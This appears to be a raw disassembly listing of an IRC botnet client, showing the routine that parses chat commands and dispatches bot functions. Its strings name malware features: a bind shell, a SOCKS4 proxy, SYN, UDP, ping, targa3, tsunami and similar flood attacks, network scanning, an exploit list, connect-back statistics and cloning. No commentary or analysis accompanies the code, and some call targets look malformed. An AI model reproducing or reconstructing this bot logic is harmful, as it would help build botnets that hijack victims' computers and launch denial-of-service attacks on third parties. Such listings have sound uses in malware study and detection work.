		cmp	[ebp+arg_10], ebx
		jz	short loc_40233A
		lea	eax, [ebp+var_338]
		push	eax
		call	sub_41B9C0
		push	eax
		lea	eax, [ebp+var_338]
		push	[ebp+var_84]
		push	eax
		call	sub_41C850
		mov	esi, eax
		add	esp, 10h
		neg	esi
		sbb	esi, esi
		add	esi, 4
		mov	[ebp+var_AC], esi
		jmp	short loc_402340
; ---------------------------------------------------------------------------


loc_40233A:				; CODE XREF: sub_401ACD+833j
					; sub_401ACD+838j
		mov	esi, [ebp+var_AC]


loc_402340:				; CODE XREF: sub_401ACD+86Bj
		mov	edi, [ebp+esi*4+var_90]
		cmp	edi, ebx
		jz	loc_401F75
		push	edi
		push	offset dword_42CC74
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_402160
		mov	ecx, [ebp+var_88]
		cmp	byte ptr [ecx],	23h
		jz	short loc_40238B
		mov	eax, dword_4CB888
		mov	eax, off_429160[eax*4]
		cmp	[eax], bl
		jz	short loc_40238B
		push	eax
		push	ecx
		push	offset dword_42CC58
		jmp	loc_401E8D
; ---------------------------------------------------------------------------


loc_40238B:				; CODE XREF: sub_401ACD+8A0j
					; sub_401ACD+8B0j
		push	edi
		push	offset dword_42CC50
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_402160
		mov	eax, [ebp+esi*4+var_8C]
		cmp	eax, ebx
		jz	loc_402160
		mov	ecx, [ebp+var_88]
		cmp	byte ptr [ecx],	23h
		jz	loc_402160
		push	eax
		push	ecx
		push	offset dword_42CC38
		jmp	loc_401E8D
; ---------------------------------------------------------------------------


loc_4023CA:				; CODE XREF: sub_401ACD+7B9j
					; sub_401ACD+76B7j
		nop
		call	near ptr 26A0CA7h
		push	eax
		push	offset unk_42CBFC
		jmp	loc_4082CF
; ---------------------------------------------------------------------------


loc_4023DB:				; CODE XREF: sub_401ACD+6DDj
		lea	eax, [ebp+var_C4]
		push	eax
		push	[ebp+esi+var_88]
		push	offset unk_42CBB8


loc_4023EE:				; CODE XREF: sub_401ACD+7C19j
					; sub_401ACD+7C80j
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41C266
		add	esp, 10h
		jmp	loc_4082DE
; ---------------------------------------------------------------------------


loc_402402:				; CODE XREF: sub_401ACD+6D1j
		push	[ebp+esi+var_8C]
		push	offset aChat	; "CHAT"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_402551
		cmp	[ebp+var_A4], ebx
		jz	loc_40252A
		push	1Bh
		call	sub_40B602
		test	eax, eax
		pop	ecx
		jnz	loc_402519
		push	[ebp+esi+var_84]
		lea	eax, [ebp+var_2AAC]
		push	offset aS_1	; "%s"
		push	eax
		call	sub_41C266
		push	[ebp+esi+var_80]
		call	sub_41C159
		mov	[ebp+var_2914],	eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_2AB4],	eax
		lea	eax, [ebp+var_C4]
		push	7Fh
		push	eax
		lea	eax, [ebp+var_2994]
		push	eax
		call	sub_41BFD0
		mov	eax, [ebp+var_4]
		add	esp, 1Ch
		mov	[ebp+var_290C],	eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_2908],	eax
		lea	eax, [ebp+var_C4]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42CB90
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	1Bh
		push	eax
		call	sub_40B3BA
		add	esp, 18h
		mov	[ebp+var_2910],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_2AB4]
		push	ebx
		push	eax
		push	offset dword_416000
		push	ebx
		push	ebx
		nop
		call	near ptr 26A04ABh
		mov	ecx, [ebp+var_2910]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E924[ecx], eax
		jz	short loc_402508


loc_4024F2:				; CODE XREF: sub_401ACD+A39j
		cmp	[ebp+var_2904],	ebx
		jnz	loc_4082DE
		push	32h
		nop
		call	near ptr 26A044Bh
		jmp	short loc_4024F2
; ---------------------------------------------------------------------------


loc_402508:				; CODE XREF: sub_401ACD+A23j
		call	near ptr 26A0CA7h
		nop
		push	eax
		push	offset unk_42CB58
		jmp	loc_4082CF
; ---------------------------------------------------------------------------


loc_402519:				; CODE XREF: sub_401ACD+966j
		lea	eax, [ebp+var_C4]
		push	eax
		push	offset unk_42CB28
		jmp	loc_4082CF
; ---------------------------------------------------------------------------


loc_40252A:				; CODE XREF: sub_401ACD+956j
		lea	eax, [ebp+var_C4]
		push	eax
		push	offset unk_42CAF4
		jmp	loc_4082CF
; ---------------------------------------------------------------------------


loc_40253B:				; CODE XREF: sub_401ACD+6B6j
		mov	eax, [ebp+arg_8]
		lea	ecx, [eax+1]
		mov	al, [eax]
		cmp	al, byte_429094
		mov	[edi], ecx
		jnz	loc_401F75


loc_402551:				; CODE XREF: sub_401ACD+94Aj
		mov	edi, [edi]
		push	edi
		push	offset aC	; "c"
		mov	[ebp+arg_8], edi
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40964C
		push	edi
		push	offset aK	; "k"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40964C
		cmp	[ebp+var_A4], ebx
		jnz	short loc_4025A2
		push	[ebp+var_8C]
		push	offset dword_42CCC8
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_409644


loc_4025A2:				; CODE XREF: sub_401ACD+AB9j
		cmp	[ebp+arg_28], ebx
		jnz	loc_409644
		xor	edi, edi
		cmp	dword_4294CC, ebx
		jle	loc_402757
		mov	[ebp+arg_20], offset dword_43DB90


loc_4025C0:				; CODE XREF: sub_401ACD+B12j
		push	[ebp+arg_8]
		push	[ebp+arg_20]
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4025E6
		add	[ebp+arg_20], 0B8h
		inc	edi
		cmp	edi, dword_4294CC
		jl	short loc_4025C0
		jmp	loc_402757
; ---------------------------------------------------------------------------


loc_4025E6:				; CODE XREF: sub_401ACD+B02j
		push	offset asc_42CDC4 ; " :"
		push	[ebp+arg_0]
		call	sub_41C2E0
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	loc_401F75
		mov	cl, byte_429094
		imul	edi, 0B8h
		mov	[eax+2], cl
		mov	cl, byte_429094
		mov	[eax+3], cl
		lea	ecx, dword_43DBA8[edi]
		push	9Fh
		add	eax, 4
		push	ecx
		push	eax
		call	sub_41BFD0
		lea	eax, [ebp+esi+var_50]
		add	esp, 0Ch
		mov	[ebp+arg_20], 0Fh
		mov	[ebp+arg_C], eax


loc_40263B:				; CODE XREF: sub_401ACD+C1Fj
		push	[ebp+arg_20]
		lea	eax, [ebp+var_A0]
		push	offset aD_0	; "$%d-"
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_A0]
		push	eax
		push	[ebp+arg_0]
		call	sub_41C2E0
		add	esp, 14h
		test	eax, eax
		jz	short loc_4026A7
		mov	eax, [ebp+arg_C]
		cmp	[eax], ebx
		jz	short loc_4026A7
		lea	eax, dword_43DB90[edi]
		push	eax
		call	sub_41B9C0
		add	[ebp+var_C], eax
		pop	ecx
		jz	short loc_4026E2
		mov	eax, [ebp+arg_C]
		push	dword ptr [eax-4]
		push	[ebp+var_C]
		call	sub_41C2E0
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_4026E2
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		push	[ebp+arg_0]
		call	sub_41843B
		add	esp, 0Ch
		jmp	short loc_4026E2
; ---------------------------------------------------------------------------


loc_4026A7:				; CODE XREF: sub_401ACD+B96j
					; sub_401ACD+B9Dj
		mov	eax, [ebp+arg_C]
		cmp	[eax], ebx
		jnz	short loc_4026E2
		lea	eax, [ebp+var_A0]
		push	2
		push	eax
		lea	eax, [ebp+var_94]
		push	eax
		call	sub_41BFD0
		lea	eax, [ebp+var_94]
		mov	[ebp+var_92], bl
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		push	[ebp+arg_0]
		call	sub_41843B
		add	esp, 18h


loc_4026E2:				; CODE XREF: sub_401ACD+BAFj
					; sub_401ACD+BC3j ...
		dec	[ebp+arg_20]
		sub	[ebp+arg_C], 4
		cmp	[ebp+arg_20], ebx
		jg	loc_40263B
		lea	eax, [ebp+esi+var_50]
		mov	[ebp+arg_20], 10h
		mov	edi, eax


loc_4026FF:				; CODE XREF: sub_401ACD+C7Ej
		push	[ebp+arg_20]
		lea	eax, [ebp+var_A0]
		push	offset aD	; "$%d"
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_A0]
		push	eax
		push	[ebp+arg_0]
		call	sub_41C2E0
		add	esp, 14h
		test	eax, eax
		jz	short loc_402742
		mov	eax, [edi]
		cmp	eax, ebx
		jz	short loc_402742
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		push	[ebp+arg_0]
		call	sub_41843B
		add	esp, 0Ch


loc_402742:				; CODE XREF: sub_401ACD+C5Aj
					; sub_401ACD+C60j
		dec	[ebp+arg_20]
		sub	edi, 4
		cmp	[ebp+arg_20], ebx
		jg	short loc_4026FF
		mov	[ebp+var_2C8], 1


loc_402757:				; CODE XREF: sub_401ACD+AE6j
					; sub_401ACD+B14j
		mov	eax, [ebp+arg_8]
		mov	al, [eax]
		cmp	al, byte_429094
		jz	short loc_402770
		cmp	[ebp+var_2C8], ebx
		jz	loc_402961


loc_402770:				; CODE XREF: sub_401ACD+C95j
		push	[ebp+arg_10]
		mov	edi, [ebp+arg_0]
		push	offset aMe	; "$me"
		push	edi
		call	sub_41843B
		lea	eax, [ebp+var_C4]
		push	eax
		push	offset aUser_1	; "$user"
		push	edi
		call	sub_41843B
		push	[ebp+var_88]
		push	offset aChan	; "$chan"
		push	edi
		call	sub_41843B
		push	ebx
		push	ebx
		lea	eax, [ebp+var_A0]
		push	2
		push	eax
		call	sub_40AE84
		push	eax
		push	offset aRndnick_0 ; "$rndnick"
		push	edi
		call	sub_41843B
		add	esp, 40h
		push	[ebp+arg_14]
		push	offset aServer_1 ; "$server"
		push	edi
		call	sub_41843B
		mov	edi, offset aChr ; "$chr("
		push	edi
		push	[ebp+arg_0]
		call	sub_41C2E0
		add	esp, 14h


loc_4027E2:				; CODE XREF: sub_401ACD+E0Dj
		test	eax, eax
		jz	loc_4028DF
		push	edi
		push	[ebp+arg_0]
		call	sub_41C2E0
		mov	[ebp+arg_10], eax
		add	eax, 5
		push	4
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		call	sub_41BFD0
		lea	eax, [ebp+var_A0]
		push	offset asc_42CAAC ; ")"
		push	eax
		call	sub_41CAD4
		add	esp, 1Ch
		cmp	[ebp+var_A0], 30h
		jl	short loc_40282E
		cmp	[ebp+var_A0], 39h
		jle	short loc_402844


loc_40282E:				; CODE XREF: sub_401ACD+D56j
		push	3
		lea	eax, [ebp+var_A0]
		push	offset a63	; "63"
		push	eax
		call	sub_41BFD0
		add	esp, 0Ch


loc_402844:				; CODE XREF: sub_401ACD+D5Fj
		lea	eax, [ebp+var_A0]
		push	eax
		call	sub_41C159
		test	eax, eax
		pop	ecx
		jle	short loc_40286A
		lea	eax, [ebp+var_A0]
		push	eax
		call	sub_41C159
		pop	ecx
		mov	[ebp+var_94], al
		jmp	short loc_40287E
; ---------------------------------------------------------------------------


loc_40286A:				; CODE XREF: sub_401ACD+D86j
		call	sub_41C2C2
		push	60h
		cdq
		pop	ecx
		idiv	ecx
		add	dl, 20h
		mov	[ebp+var_94], dl


loc_40287E:				; CODE XREF: sub_401ACD+D9Bj
		lea	eax, [ebp+var_A0]
		mov	[ebp+var_93], bl
		push	eax
		call	sub_41B9C0
		mov	[ebp+arg_20], eax
		push	0Ch
		lea	eax, [ebp+var_A0]
		push	ebx
		push	eax
		call	sub_41BF70
		mov	eax, [ebp+arg_20]
		add	eax, 6
		push	eax
		lea	eax, [ebp+var_A0]
		push	[ebp+arg_10]
		push	eax
		call	sub_41BFD0
		lea	eax, [ebp+var_94]
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		push	[ebp+arg_0]
		call	sub_41843B
		push	edi
		push	[ebp+arg_0]
		call	sub_41C2E0
		add	esp, 30h
		jmp	loc_4027E2
; ---------------------------------------------------------------------------


loc_4028DF:				; CODE XREF: sub_401ACD+D17j
		mov	edi, 1FFh
		lea	eax, [ebp+var_428C]
		push	edi
		push	[ebp+arg_0]
		push	eax
		call	sub_41BFD0
		lea	eax, [ebp+var_428C]
		push	edi
		push	eax
		lea	eax, [ebp+var_4EF8]
		push	eax
		call	sub_41BFD0
		lea	eax, [ebp+var_4EF8]
		push	offset asc_42CDC0 ; " "
		push	eax
		call	sub_41CAD4
		add	esp, 20h
		mov	[ebp+var_90], eax
		lea	edi, [ebp+var_8C]
		mov	[ebp+arg_10], 1Fh


loc_40292F:				; CODE XREF: sub_401ACD+E77j
		push	offset asc_42CDC0 ; " "
		push	ebx
		call	sub_41CAD4
		mov	[edi], eax
		pop	ecx
		add	edi, 4
		dec	[ebp+arg_10]
		pop	ecx
		jnz	short loc_40292F
		mov	ecx, [ebp+esi+var_90]
		lea	eax, [ebp+esi+var_90]
		cmp	ecx, ebx
		jz	loc_401F75
		add	ecx, 3
		mov	[eax], ecx


loc_402961:				; CODE XREF: sub_401ACD+C9Dj
		mov	edi, [ebp+esi+var_90]
		push	edi
		push	offset aRndnick	; "rndnick"
		mov	[ebp+arg_8], edi
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4095F2
		push	edi
		push	offset aRn	; "rn"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4095F2
		push	edi
		push	offset aDi3	; "di3"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4049B3
		push	edi
		push	offset aDi3	; "di3"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4049B3
		push	edi
		push	offset aLogout	; "logout"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404911
		push	edi
		push	offset aLo	; "lo"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404911
		push	edi
		push	offset aVersion	; "version"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404902
		push	edi
		push	offset aVer	; "ver"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404902
		push	edi
		push	offset aRulez	; "rulez"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4048F8
		push	edi
		push	offset aRz	; "rz"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4048F8
		push	edi
		push	offset aSpeedtest ; "speedtest"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4048DF
		push	edi
		push	offset aSt	; "st"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4048DF
		push	edi
		push	offset aSecure	; "secure"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4047E1
		push	edi
		push	offset aSec	; "sec"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4047E1
		push	edi
		push	offset aUnsecure ; "unsecure"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4047E1
		push	edi
		push	offset aUnsec	; "unsec"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4047E1
		push	edi
		push	offset aBindshell ; "bindshell"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4046DB
		push	edi
		push	offset aBd	; "bd"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4046DB
		push	edi
		push	offset aBindshellstop ;	"bindshellstop"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402B0E
		push	[ebp+esi+var_8C]
		push	6
		push	offset aServer_0 ; "Server"
		push	offset dword_42CA08
		jmp	loc_408D08
; ---------------------------------------------------------------------------


loc_402B0E:				; CODE XREF: sub_401ACD+1027j
		push	edi
		push	offset aSocks4	; "socks4"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4045B9
		push	edi
		push	offset aS4	; "s4"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4045B9
		push	edi
		push	offset aSocks4stop ; "socks4stop"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402B61
		push	[ebp+esi+var_8C]
		push	19h
		push	offset aServer_0 ; "Server"
		push	offset dword_42C9E0
		jmp	loc_408D08
; ---------------------------------------------------------------------------


loc_402B61:				; CODE XREF: sub_401ACD+107Aj
		push	edi
		push	offset aRloginstop ; "rloginstop"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402B8A
		push	[ebp+esi+var_8C]
		push	9
		push	offset aServer_0 ; "Server"
		push	offset dword_42C9C4
		jmp	loc_408D08
; ---------------------------------------------------------------------------


loc_402B8A:				; CODE XREF: sub_401ACD+10A3j
		push	edi
		push	offset aHttpstop ; "httpstop"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402BB3
		push	[ebp+esi+var_8C]
		push	3
		push	offset aServer_0 ; "Server"
		push	offset dword_42C9A8
		jmp	loc_408D08
; ---------------------------------------------------------------------------


loc_402BB3:				; CODE XREF: sub_401ACD+10CCj
		push	edi
		push	offset aLogstop	; "logstop"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402BDC
		push	[ebp+esi+var_8C]
		push	25h
		push	offset dword_42C994
		push	offset dword_42C988
		jmp	loc_408D08
; ---------------------------------------------------------------------------


loc_402BDC:				; CODE XREF: sub_401ACD+10F5j
		push	edi
		push	offset aRedirectstop ; "redirectstop"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402C05
		push	[ebp+esi+var_8C]
		push	18h
		push	offset dword_42C968
		push	offset dword_42C958
		jmp	loc_408D08
; ---------------------------------------------------------------------------


loc_402C05:				; CODE XREF: sub_401ACD+111Ej
		push	edi
		push	offset dword_42C94C
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402C2E
		push	[ebp+esi+var_8C]
		push	0Dh
		push	offset dword_42C940
		push	offset dword_42C934
		jmp	loc_408D08
; ---------------------------------------------------------------------------


loc_402C2E:				; CODE XREF: sub_401ACD+1147j
		push	edi
		push	offset aSynstop	; "synstop"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402C57
		push	[ebp+esi+var_8C]
		push	0Eh
		push	offset dword_42C920
		push	offset dword_42C914
		jmp	loc_408D08
; ---------------------------------------------------------------------------


loc_402C57:				; CODE XREF: sub_401ACD+1170j
		push	edi
		push	offset aSkysynstop ; "skysynstop"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402C80
		push	[ebp+esi+var_8C]
		push	10h
		push	offset dword_42C8F8
		push	offset dword_42C8E8
		jmp	loc_408D08
; ---------------------------------------------------------------------------


loc_402C80:				; CODE XREF: sub_401ACD+1199j
		push	edi
		push	offset aTarga3stop ; "targa3stop"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402CA9
		push	[ebp+esi+var_8C]
		push	11h
		push	offset dword_42C8CC
		push	offset dword_42C8BC
		jmp	loc_408D08
; ---------------------------------------------------------------------------


loc_402CA9:				; CODE XREF: sub_401ACD+11C2j
		push	edi
		push	offset aWonkstop ; "wonkstop"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402CD2
		push	[ebp+esi+var_8C]
		push	12h
		push	offset dword_42C8A4
		push	offset dword_42C898
		jmp	loc_408D08
; ---------------------------------------------------------------------------


loc_402CD2:				; CODE XREF: sub_401ACD+11EBj
		push	edi
		push	offset aPacketstop ; "packetstop"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_402E28
		mov	esi, [ebp+esi+var_8C]
		mov	edi, [ebp+arg_4]
		push	esi
		push	0Dh
		push	offset dword_42C940
		push	offset dword_42C934
		push	1
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	edi
		call	sub_40B648
		push	esi
		push	0Eh
		push	offset dword_42C920
		push	offset dword_42C914
		push	1
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	edi
		call	sub_40B648
		add	esp, 40h
		push	esi
		push	17h
		push	offset dword_42C880
		push	offset dword_42C874
		push	1
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	edi
		call	sub_40B648
		push	esi
		push	16h
		push	offset dword_42C868
		push	offset dword_42C85C
		push	1
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	edi
		call	sub_40B648
		add	esp, 40h
		push	esi
		push	11h
		push	offset dword_42C8CC
		push	offset dword_42C8BC
		push	1
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	edi
		call	sub_40B648
		push	esi
		push	12h
		push	offset dword_42C8A4
		push	offset dword_42C898
		push	1
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	edi
		call	sub_40B648
		add	esp, 40h
		push	esi
		push	0Fh
		push	offset dword_42C84C
		push	offset dword_42C83C
		push	1
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	edi
		call	sub_40B648
		push	esi
		push	13h
		push	offset dword_42C82C
		push	offset dword_42C81C
		push	1
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	edi
		call	sub_40B648
		add	esp, 40h
		push	esi
		push	10h
		push	offset dword_42C8F8
		push	offset dword_42C8E8
		push	1
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	edi
		call	sub_40B648
		push	ebx
		push	[ebp+var_4]
		push	offset unk_42C7E8
		push	[ebp+var_88]
		push	edi
		call	sub_409869
		add	esp, 34h
		jmp	loc_401F75
; ---------------------------------------------------------------------------


loc_402E28:				; CODE XREF: sub_401ACD+1214j
		push	edi
		push	offset aTsunamistop ; "tsunamistop"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402E51
		push	[ebp+esi+var_8C]
		push	0Fh
		push	offset dword_42C84C
		push	offset dword_42C83C
		jmp	loc_408D08
; ---------------------------------------------------------------------------


loc_402E51:				; CODE XREF: sub_401ACD+136Aj
		push	edi
		push	offset aWisdomstop ; "wisdomstop"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402E7A
		push	[ebp+esi+var_8C]
		push	13h
		push	offset dword_42C82C
		push	offset dword_42C81C
		jmp	loc_408D08
; ---------------------------------------------------------------------------


loc_402E7A:				; CODE XREF: sub_401ACD+1393j
		push	edi
		push	offset aUdpstop	; "udpstop"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402EA3
		push	[ebp+esi+var_8C]
		push	17h
		push	offset dword_42C880
		push	offset dword_42C874
		jmp	loc_408D08
; ---------------------------------------------------------------------------


loc_402EA3:				; CODE XREF: sub_401ACD+13BCj
		push	edi
		push	offset aPingstop ; "pingstop"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402ECC
		push	[ebp+esi+var_8C]
		push	16h
		push	offset dword_42C868
		push	offset dword_42C85C
		jmp	loc_408D08
; ---------------------------------------------------------------------------


loc_402ECC:				; CODE XREF: sub_401ACD+13E5j
		push	edi
		push	offset aTftpstop ; "tftpstop"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402EF5
		push	[ebp+esi+var_8C]
		push	5
		push	offset aServer_0 ; "Server"
		push	offset dword_42C7A0
		jmp	loc_408D08
; ---------------------------------------------------------------------------


loc_402EF5:				; CODE XREF: sub_401ACD+140Ej
		push	edi
		push	offset aFindfilestop ; "findfilestop"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4045A1
		push	edi
		push	offset aFfstop	; "ffstop"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4045A1
		push	edi
		push	offset aProcsstop ; "procsstop"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404589
		push	edi
		push	offset aPsstop	; "psstop"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404589
		push	edi
		push	offset aClonestop ; "clonestop"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402F72
		push	[ebp+esi+var_8C]
		push	1Fh
		push	offset aClone	; "Clone"
		push	offset dword_42C750
		jmp	loc_408D08
; ---------------------------------------------------------------------------


loc_402F72:				; CODE XREF: sub_401ACD+148Bj
		push	edi
		push	offset aSecurestop ; "securestop"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402F9B
		push	[ebp+esi+var_8C]
		push	22h
		push	offset aSecure_0 ; "Secure"
		push	offset dword_42C72C
		jmp	loc_408D08
; ---------------------------------------------------------------------------


loc_402F9B:				; CODE XREF: sub_401ACD+14B4j
		push	edi
		push	offset aScanstop ; "scanstop"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402FC4
		push	[ebp+esi+var_8C]
		push	0Bh
		push	offset aScan_0	; "Scan"
		push	offset dword_42C70C
		jmp	loc_408D08
; ---------------------------------------------------------------------------


loc_402FC4:				; CODE XREF: sub_401ACD+14DDj
		push	edi
		push	offset aScanstats ; "scanstats"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404573
		push	edi
		push	offset aStats	; "stats"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404573
		push	edi
		push	offset aTransferstats ;	"transferstats"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40455D
		push	edi
		push	offset aTrstats	; "trstats"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40455D
		push	edi
		push	offset aConnectbacksta ; "connectbackstats"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404547
		push	edi
		push	offset aCbstats	; "cbstats"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404547
		push	edi
		push	offset aExploitlist ; "exploitlist"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404531
		push	edi
		push	offset aExplist	; "explist"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404531
		push	edi
		push	offset aReconnect ; "reconnect"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404512
		push	edi
		push	offset aR	; "r"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404512
		push	edi
		push	offset aDisconnect ; "disconnect"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4044F0
		push	edi
		push	offset aDc	; "dc"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4044F0
		push	edi
		push	offset aQuit_0	; "quit"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4044A8
		push	edi
		push	offset aQ	; "q"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4044A8
		push	edi
		push	offset aStatus	; "status"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404494
		push	edi
		push	offset aS_0	; "s"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404494
		push	edi
		push	offset aId	; "id"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40445D
		push	edi
		push	offset aI	; "i"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40445D
		push	edi
		push	offset aR3start	; "r3start"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_403190
		call	sub_418884
		test	eax, eax
		mov	eax, offset unk_42C64C
		jnz	short loc_403162
		mov	eax, offset unk_42C628


loc_403162:				; CODE XREF: sub_401ACD+168Ej
		push	eax
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409869
		add	esp, 1Ch
		jmp	loc_4082DE
; ---------------------------------------------------------------------------


loc_403190:				; CODE XREF: sub_401ACD+1680j
		push	edi
		push	offset aThreads	; "threads"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40437E
		push	edi
		push	offset aT	; "t"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40437E
		push	edi
		push	offset aAliases	; "aliases"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40435B
		push	edi
		push	offset aAl	; "al"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40435B
		push	edi
		push	offset aLog	; "log"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404268
		push	edi
